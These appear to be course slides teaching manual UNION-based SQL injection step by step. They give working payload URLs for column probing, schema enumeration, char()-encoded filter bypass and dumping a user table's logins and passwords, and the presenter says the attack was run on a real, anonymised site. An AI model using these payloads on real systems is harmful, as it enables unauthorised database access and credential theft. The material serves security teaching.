SQL Injection Attack
In Practice  (long way)

Professor Larry Heimann
Web Application Security
Information Systems
Why do it the long way first?

• There are convenient tools like sqlmap which will automate the process of SQL injection for us.

• If we don’t understand what is happening under the hood, we can’t really defend against the threat.

• Doing SQL injection manually is a great way to start.

• Our target is a non-US, non-commercial site. What follows is an actual attack I conducted, but I have done my best to hide the identity of the victim and will stop short of revealing too much information.
Our target...

http://target.site.com/article.php=1
Is it vulnerable to injection?

Try a basic attack and see how it responds:

Obviously vulnerable to injection (and chatty).

Other SQL injection characters to be aware of:
How many columns are there?

Use ORDER BY to probe:

http://target.site.com/article.php=1 ORDER BY 1 --
How many columns are there?

Continuing...

http://target.site.com/article.php=1 ORDER BY 2 --
How many columns are there?

Continuing...

http://target.site.com/article.php=1 ORDER BY 3 --
How many columns are there?

Continuing...

http://target.site.com/article.php=1 ORDER BY 4 --
How many columns are there?

Continuing...

http://target.site.com/article.php=1 ORDER BY 10 --
How many columns are there?

Continuing...

http://target.site.com/article.php=1 ORDER BY 11 --

Query failed
Unknown column '11' in 'order clause'
SELECT * FROM person_old WHERE id=1 ORDER BY 11 -- ORDER BY lastname

Now we know we have 10 columns to work with
Which columns will echo data?

Do a UNION of integers to see which columns might be useful in getting data back from further queries.

http://target.site.com/article.php=1 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10 --

Now I know that columns 2 & 3 can echo data
Pic of the Day...
Basic information we’d like about the database

• What is the name of the database?
  
  database()  [or schema()]

• Who is using this database?
  
  user()      [or current_user()]

• What version of MySQL are we using?
  
  @@version   [or version()]

• In what directory is the database located?
  
  @@datadir
Getting the user and db name

http://target.site.com/article.php=1 UNION ALL SELECT 1,user(),database(),4,5,6,7,8,9,10 --
Getting the MySQL version

http://target.site.com/article.php=1 UNION ALL SELECT 1,2,@@version, 4,5,6,7,8,9,10 --

Note: datadir not found in this example, but it is: /var/lib/mysql/
GROUP_CONCAT

• Used to concatenate column values into a single string
  • simple demo

• Couple of notes:
  • will use comma by default unless another separator specified
  • will ignore NULL values
  • can run ORDER BY within the function

• Need it to get all the information I want and place it in one of the exploitable columns
Getting the table names

http://target.site.com/article.php=1 UNION ALL SELECT 1,2,
GROUP_CONCAT(table_name),4,5,6,7,8,9,10
FROM information_schema.tables where table_schema=database() --

The table ‘user’ looks interesting ...
Roadblock: “bad word” filter

- Interestingly, there is a simple filter in place to catch potentially “bad words”

- Some quick tests showed that the following words in a SQL query are filtered out (not comprehensive list):
  - root
  - user
  - drop
  - delete
  - create
  - grant
  - revoke

- A little surprising that a filter is in place b/c no escaping of characters sent (??)

- Also filter seems a bit primitive (still allows inserts, updates, and other admin functions)
A trick to get around filters: char()

• Use the char() to convert a forbidden string after it’s submitted

• Key char() functions used in attacks:

  %: char(37);

  root: char(114,111,111,116);

  user: char(117,115,101,114);

  drop: char(100,114,111,112);

  delete: char(100,101,108,101,116,101);

  /etc/passwd: char(47,101,116,99,47,112,97,115,115,119,100);
Getting the columns names for ‘user’ table

http://target.site.com/article.php=1 UNION ALL SELECT 1,2, GROUP_CONCAT(column_name),4,5,6,7,8,9,10 FROM information_schema.columns where table_name= char(117,115,101,114)--
Getting actual data out

http://target.site.com/article.php=1 UNION ALL SELECT 1,2, GROUP_CONCAT(usr_login,0x3a,usr_pass),4,5,6,7,8,9,10 FROM user--
Getting actual data out

Interesting that usr_login and usr_pass are both encoded/encrypted
(why encode/encrypt usr_login? Not much security benefit from doing this, so why add this feature?)
(didn’t test to see if one is encoded and other encrypted; really hope usr_pass is not just encoded)

Again, some security measures implemented, but major holes still exist